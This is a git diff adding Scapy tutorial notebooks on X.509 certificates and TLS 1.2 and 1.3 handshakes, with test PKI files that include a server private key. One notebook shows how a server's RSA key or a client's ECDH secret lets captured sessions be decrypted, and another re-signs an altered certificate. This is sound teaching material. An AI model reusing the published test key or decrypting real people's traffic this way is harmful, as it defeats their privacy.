zzyDMw8sZWdn8+ijjxIUFETnzp356quvXKr/\nRRW5c6X+50lOTqZp06YcOHDA5frfsWNHQkJCCAkJYfjw4S7V/2nTptGtWzf8/f1ZtGiRS/V90aJF\n+e97ly5d8PT0ZNu2bS7Tf6mmKmltSbE+++wz8/jjjxtjjNm8ebMZOHBgJfeodKZPn27atm1runbt\naowxpn///iYqKsoYY8zIkSPN8uXLK7N7V7RgwQLz97//3RhjzJkzZ0zTpk3NgAEDXKb/K1asMMOH\nDzfGGGO3282AAQNcqv/GGJOVlWUGDRpkWrVqZfbt2+dSvz8ZGRmmQ4cOl7S5Sv8jIyNN//79jTHG\nnDt3zowfP97lfnfy/OUvfzHh4eEu23+pPpxuxKNgwbHOnTuzdevWSu5R6bRs2ZLPP/88/18X27dv\nJygoCID777/fqQukPfzww/ll63Nzc3F3d3ep/hcucufr68u2bdtcpv8AY8aMYdSoUTRp0gRwrd+f\nHTt2kJ6eTmhoKL169WLz5s0u0/9169bRtm1bBg0aRP/+/RkwYIDL/e4AbN26lT179vDkk0+6ZP+l\nenG64FG4uJibmxu5ubmV2KPSefDBB6lZ89d6bKbA8Ob1119PampqZXSrVOrUqcP111+Pw+Hg4Ycf\nZsqUKZe8587ef/i1yN2zzz7LkCFDXOr9X7hwIQ0bNqRPnz6A9bvjSv2vU6cOY8aMYe3atcybN48h\nQ4Zccr8z9//kyZNs27aNTz/9lHnz5vHnP//Zpd77PFOnTmXChAmAa332SPVUqsqlFalwcbHc3Fxq\n1HC6fFSign3OK5zmzI4ePcqDDz7IX/7yF/70pz/x4osv5t/nCv0H6y/wEydO0KlTJzIzM/Pbnb3/\nCxYswGazERERQVxcHEOHDuXkyZP59zt7/2+//XZatmwJwG233Ub9+vWJjY3Nv9+Z+9+gQQPuuOMO\natasye23307t2rX5+eef8+935r7nSUlJ4cCBA/To0QNwvc8eqX6c7m/07t27s3r1asA6wTbvTBhX\n06FDB6KiogBYs2ZN/tCnMzpx4gR9+vThP//5D8OGDQNcq/+LFy9m2rRpAHh6euLm5sa9997rMv2P\niorCbrcTGRlJ+/bt+eCDDwgLC3OZ/i9YsIAXXngBgF9++QWHw0GfPn1cov8BAQF8/fXXgNX39PR0\nevXq5RJ9z7N+/Xp69eqV/70r/dmV6snp6ngYY3jmmWeIj48HrA+122+/vZJ7VTqJiYn8+c9/ZtOm\nTdnWYPUAAADSSURBVBw8eJARI0aQlZXFnXfeSXh4ODabrbK7WKRnn32WTz75hFatWuW3vfXWW4we\nPdol+l+4yN3YsWNp3bq1y7z/BYWEhDB//nxsNpvL9P/ixYs8/vjjHDlyBID//Oc/1K9f32X6/9JL\nLxEZGUlubi7Tpk2jWbNmLtN3gBkzZlCrVi1Gjx4N4FKfPVI9OV3wEBERkarL6aZaREREpOpS8BAR\nEZEKo+AhIiIiFUbBQ0RERCqMgoeIiIhUGAUPERERqTAKHiIiIlJhFDxERESkwvw/Fd4qx1fIg7YA\nAAAASUVORK5CYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x7f126c0fd290>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 7,
+       "text": [
+        "[[<matplotlib.lines.Line2D at 0x7f126c3d8f10>],\n",
+        " [<matplotlib.lines.Line2D at 0x7f126c3d8f90>]]"
+       ]
+      }
+     ],
+     "prompt_number": 7
+    }
+   ],
+   "metadata": {}
+  }
+ ]
+}
\ No newline at end of file
diff --git a/doc/notebooks/tls/images/handshake_tls12.png b/doc/notebooks/tls/images/handshake_tls12.png
new file mode 100644
index 0000000..ecfe61a
--- /dev/null
+++ b/doc/notebooks/tls/images/handshake_tls12.png
Binary files differ
diff --git a/doc/notebooks/tls/images/handshake_tls13.png b/doc/notebooks/tls/images/handshake_tls13.png
new file mode 100644
index 0000000..1feed39
--- /dev/null
+++ b/doc/notebooks/tls/images/handshake_tls13.png
Binary files differ
diff --git a/doc/notebooks/tls/notebook1_x509.ipynb b/doc/notebooks/tls/notebook1_x509.ipynb
new file mode 100644
index 0000000..7c89dc0
--- /dev/null
+++ b/doc/notebooks/tls/notebook1_x509.ipynb
@@ -0,0 +1,311 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# Notebook 1: X.509 certificates"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Jupyter notebook cheat sheet"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Use Shift+Enter to run the current cell\n",
+    "print 'Hello!'"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# You may also use Alt+Enter to run the current cell, then create a new cell right below\n",
+    "from datetime import datetime\n",
+    "print 'This is the time right now: %s' % datetime.now()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# If needed, pause the cell edition with Ctrl-M.\n",
+    "# Then you can delete the current cell with D+D. You can also undo cell deletion with Z.\n",
+    "# Finally, should Jupyter become stuck in execution, use Kernel/Interrupt from the menu bar.\n",
+    "print 'Got it!'"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Data manipulation with Scapy"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "from scapy.all import *\n",
+    "load_layer('tls')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "keystr = open('raw_data/pki/ca_key.der', 'rb').read()\n",
+    "print repr(keystr)\n",
+    "# (btw, you can hide the output of a cell by double-clicking on the left of the output)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "privkey = RSAPrivateKey(keystr)\n",
+    "privkey.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "v = privkey.version\n",
+    "print 'The \\'version\\' stripped from any ASN.1 encoding is 0x%02x.' % v.val\n",
+    "print 'The \\'version\\' field corresponds to bytes  %r.' % raw(v)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "privkey.version = ASN1_INTEGER(1)\n",
+    "privkey.modulus.val *= 2\n",
+    "privkey.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "print 'Original data: %r...' % keystr[:13]\n",
+    "print 'New version bytes:          %r' % raw(privkey.version)\n",
+    "print 'New modulus bytes:                      %r...' % raw(privkey.modulus)[:6]\n",
+    "print 'Rebuilt data:  %r...' % raw(privkey)[:13]"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {
+    "collapsed": true
+   },
+   "source": [
+    "## X.509 certificate features"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Let's reload the original key, then let's load a certificate associated with it\n",
+    "privkey = RSAPrivateKey(keystr)\n",
+    "cert = X509_Cert(open('raw_data/pki/ca_cert.der', 'rb').read())\n",
+    "cert.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.show()\n",
+    "cert.tbsCertificate.subject[-1].rdn[0].show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false,
+    "scrolled": true
+   },
+   "outputs": [],
+   "source": [
+    "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.modulus == privkey.modulus"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "cert.tbsCertificate.extensions[2].show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "cert.signatureAlgorithm.algorithm"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Scapy crypto tools"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "# Let's reload the key with Scapy's crypto-enhanced wrapper\n",
+    "privkey = PrivKey('raw_data/pki/ca_key.der')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "privkey.der == keystr"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "print privkey.key\n",
+    "print privkey.pubkey"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# We can compute the RSA signature over the part of the certificate which is to be signed\n",
+    "privkey.sign(raw(cert.tbsCertificate))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "cert.signatureValue"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# We can quickly modify a certificate field and update the signature accordingly\n",
+    "cert.tbsCertificate.serialNumber.val = 0xdeadcafe\n",
+    "cert.tbsCertificate.subject[-1].rdn[0].value.val = 'my new deadcafe CA'    \n",
+    "cert2 = privkey.resignCert(cert)\n",
+    "cert2.show()"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 2",
+   "language": "python",
+   "name": "python2"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 2
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython2",
+   "version": "2.7.13"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/doc/notebooks/tls/notebook2_tls_protected.ipynb b/doc/notebooks/tls/notebook2_tls_protected.ipynb
new file mode 100644
index 0000000..726581e
--- /dev/null
+++ b/doc/notebooks/tls/notebook2_tls_protected.ipynb
@@ -0,0 +1,263 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# TLS handshake overview\n",
+    "This is the standard, modern TLS 1.2 handshake:\n",
+    "\n",
+    "<img src=\"images/handshake_tls12.png\" alt=\"Handshake TLS 1.2\" width=\"400\"/>"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "# We're going to parse several successive records from the passive listening of a standard TLS handshake\n",
+    "from scapy.all import *"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) ---> (S) ClientHello"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record1 = TLS(open('raw_data/tls_session_protected/01_cli.raw').read())\n",
+    "record1.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "for extension in record1.msg[0].ext:\n",
+    "    print ''\n",
+    "    extension.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) <--- (S) ServerHello"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record2 = TLS(open('raw_data/tls_session_protected/02_srv.raw').read())\n",
+    "record2.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) <--- (S) Certificate"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record3 = TLS(open('raw_data/tls_session_protected/03_srv.raw').read())\n",
+    "record3.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# The Certificate message actually contains a *chain* of certificates\n",
+    "for cert in record3.msg[0].certs:\n",
+    "    print type(cert[1])\n",
+    "    cert[1].show()\n",
+    "    print ''"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Let's recall the domain that the client wants to access\n",
+    "record1.msg[0].ext[0].show()\n",
+    "\n",
+    "# Indeed the certificate may be used with other domains than its CN 'www.github.com'\n",
+    "x509c = record3.msg[0].certs[0][1].x509Cert\n",
+    "print type(x509c)\n",
+    "x509c.tbsCertificate.extensions[2].show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) <--- (S) CertificateStatus, ServerKeyExchange, ServerHelloDone"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Here the server sent three TLS records in the same TCP segment\n",
+    "record4 = TLS(open('raw_data/tls_session_protected/04_srv.raw').read())\n",
+    "record4.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Let's verify the signature in the ServerKeyExchange\n",
+    "# First, we need to assemble the whole data being signed\n",
+    "cli_random = pkcs_i2osp(record1.msg[0].gmt_unix_time, 4) + record1.msg[0].random_bytes\n",
+    "srv_random = pkcs_i2osp(record2.msg[0].gmt_unix_time, 4) + record2.msg[0].random_bytes\n",
+    "ecdh_params = str(record4[TLSServerKeyExchange].params)\n",
+    "\n",
+    "# Then we retrieve the server's Cert and verify the signature\n",
+    "cert_srv = record3.msg[0].certs[0][1]\n",
+    "cert_srv.verify(cli_random + srv_random + ecdh_params, record4[TLSServerKeyExchange].sig.sig_val, h='sha512')"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {
+    "collapsed": true
+   },
+   "source": [
+    "## (C) ---> (S) ClientKeyExchange, ChangeCipherSpec, Finished"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record5_str = open('raw_data/tls_session_protected/05_cli.raw').read()\n",
+    "record5 = TLS(record5_str)\n",
+    "record5.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "# Every record has a 'tls_session' context which may enhance the parsing of later records\n",
+    "record5 = TLS(record5_str, tls_session=record2.tls_session.mirror())\n",
+    "record5.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) <--- (S) NewSessionTicket, ChangeCipherSpec, Finished"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record6_str = open('raw_data/tls_session_protected/06_srv.raw').read()\n",
+    "record6 = TLS(record6_str, tls_session=record5.tls_session.mirror())\n",
+    "record6.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## (C) ---> (S) ApplicationData"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record7_str = open('raw_data/tls_session_protected/07_cli.raw').read()\n",
+    "record7 = TLS(record7_str, tls_session=record6.tls_session.mirror())\n",
+    "record7.show()"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 2",
+   "language": "python",
+   "name": "python2"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 2
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython2",
+   "version": "2.7.13"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/doc/notebooks/tls/notebook3_tls_compromised.ipynb b/doc/notebooks/tls/notebook3_tls_compromised.ipynb
new file mode 100644
index 0000000..4a879a3
--- /dev/null
+++ b/doc/notebooks/tls/notebook3_tls_compromised.ipynb
@@ -0,0 +1,123 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# The lack of PFS: a danger to privacy"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "from scapy.all import *"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record1_str = open('raw_data/tls_session_compromised/01_cli.raw').read()\n",
+    "record1 = TLS(record1_str)\n",
+    "record1.msg[0].show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false,
+    "scrolled": true
+   },
+   "outputs": [],
+   "source": [
+    "record2_str = open('raw_data/tls_session_compromised/02_srv.raw').read()\n",
+    "record2 = TLS(record2_str, tls_session=record1.tls_session.mirror())\n",
+    "record2.msg[0].show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "# Suppose we possess the private key of the server\n",
+    "# Try registering it to the session\n",
+    "#key = PrivKey('raw_data/pki/srv_key.pem')\n",
+    "#record2.tls_session.server_rsa_key = key"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record3_str = open('raw_data/tls_session_compromised/03_cli.raw').read()\n",
+    "record3 = TLS(record3_str, tls_session=record2.tls_session.mirror())\n",
+    "record3.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record4_str = open('raw_data/tls_session_compromised/04_srv.raw').read()\n",
+    "record4 = TLS(record4_str, tls_session=record3.tls_session.mirror())\n",
+    "record4.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": false
+   },
+   "outputs": [],
+   "source": [
+    "record5_str = open('raw_data/tls_session_compromised/05_cli.raw').read()\n",
+    "record5 = TLS(record5_str, tls_session=record4.tls_session.mirror())\n",
+    "record5.show()"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 2",
+   "language": "python",
+   "name": "python2"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 2
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython2",
+   "version": "2.7.13"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/doc/notebooks/tls/notebook4_tls13.ipynb b/doc/notebooks/tls/notebook4_tls13.ipynb
new file mode 100644
index 0000000..39dbd2d
--- /dev/null
+++ b/doc/notebooks/tls/notebook4_tls13.ipynb
@@ -0,0 +1,143 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# TLS 1.3 handshake overview\n",
+    "This is the basic TLS 1.3 handshake:\n",
+    "\n",
+    "<img src=\"images/handshake_tls13.png\" alt=\"Handshake TLS 1.3\" width=\"400\"/>"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "from scapy.all import *"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "record1_str = open('raw_data/tls_session_13/01_cli.raw').read()\n",
+    "record1 = TLS(record1_str)\n",
+    "sess = record1.tls_session\n",
+    "record1.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "record2_str = open('raw_data/tls_session_13/02_srv.raw').read()\n",
+    "record2 = TLS(record2_str, tls_session=sess.mirror())\n",
+    "record2.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "record3_str = open('raw_data/tls_session_13/03_cli.raw').read()\n",
+    "record3 = TLS(record3_str, tls_session=sess.mirror())\n",
+    "record3.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "collapsed": true
+   },
+   "outputs": [],
+   "source": [
+    "# The PFS relies on the ECDH secret below being kept from observers, and deleted right after the key exchange\n",
+    "#from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers\n",
+    "#from cryptography.hazmat.backends import default_backend\n",
+    "#secp256r1_client_privkey = open('raw_data/tls_session_13/cli_key.raw').read()\n",
+    "#pubnum = sess.tls13_client_pubshares[\"secp256r1\"].public_numbers()\n",
+    "#privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256r1_client_privkey), pubnum)\n",
+    "#privkey = privnum.private_key(default_backend())\n",
+    "#sess.tls13_client_privshares[\"secp256r1\"] = privkey"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "scrolled": true
+   },
+   "outputs": [],
+   "source": [
+    "record4_str = open('raw_data/tls_session_13/04_srv.raw').read()\n",
+    "record4 = TLS(record4_str, tls_session=sess.mirror())\n",
+    "record4.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "record5_str = open('raw_data/tls_session_13/05_srv.raw').read()\n",
+    "record5 = TLS(record5_str, tls_session=sess)\n",
+    "record5.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "record6_str = open('raw_data/tls_session_13/06_cli.raw').read()\n",
+    "record6 = TLS(record6_str, tls_session=sess.mirror())\n",
+    "record6.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Observations sur TLS 1.3\n",
+    "* Certificat désormais chiffré...\n",
+    "* ...mais pas le Server Name dans le ClientHello\n",
+    "* Risques du mode 0-RTT"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 2",
+   "language": "python",
+   "name": "python2"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 2
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython2",
+   "version": "2.7.13"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/doc/notebooks/tls/raw_data/pki/ca_cert.der b/doc/notebooks/tls/raw_data/pki/ca_cert.der
new file mode 100644
index 0000000..ff9ea20
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/pki/ca_cert.der
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/pki/ca_key.der b/doc/notebooks/tls/raw_data/pki/ca_key.der
new file mode 100644
index 0000000..675124e
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/pki/ca_key.der
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/pki/srv_cert.pem b/doc/notebooks/tls/raw_data/pki/srv_cert.pem
new file mode 100644
index 0000000..e559f32
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/pki/srv_cert.pem
@@ -0,0 +1,22 @@
+-----BEGIN CERTIFICATE-----
+MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV
+BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz
+dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN
+MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0
+YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0
+IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu
+8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn
+ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI
+GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw
+vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv
+y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t
+nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O
+BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR
+NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB
+AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus
+tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW
+BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe
+WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ
+KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI
+11nk6boqTrUVD5zQ6gaR2d6r
+-----END CERTIFICATE-----
diff --git a/doc/notebooks/tls/raw_data/pki/srv_key.pem b/doc/notebooks/tls/raw_data/pki/srv_key.pem
new file mode 100644
index 0000000..62248e3
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/pki/srv_key.pem
@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY
+DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE
+IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA
+eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC
+lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz
++j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n
++CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR
+hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/
+8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD
+eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA
+SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua
+ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX
+Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H
+lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB
+s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq
+E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg
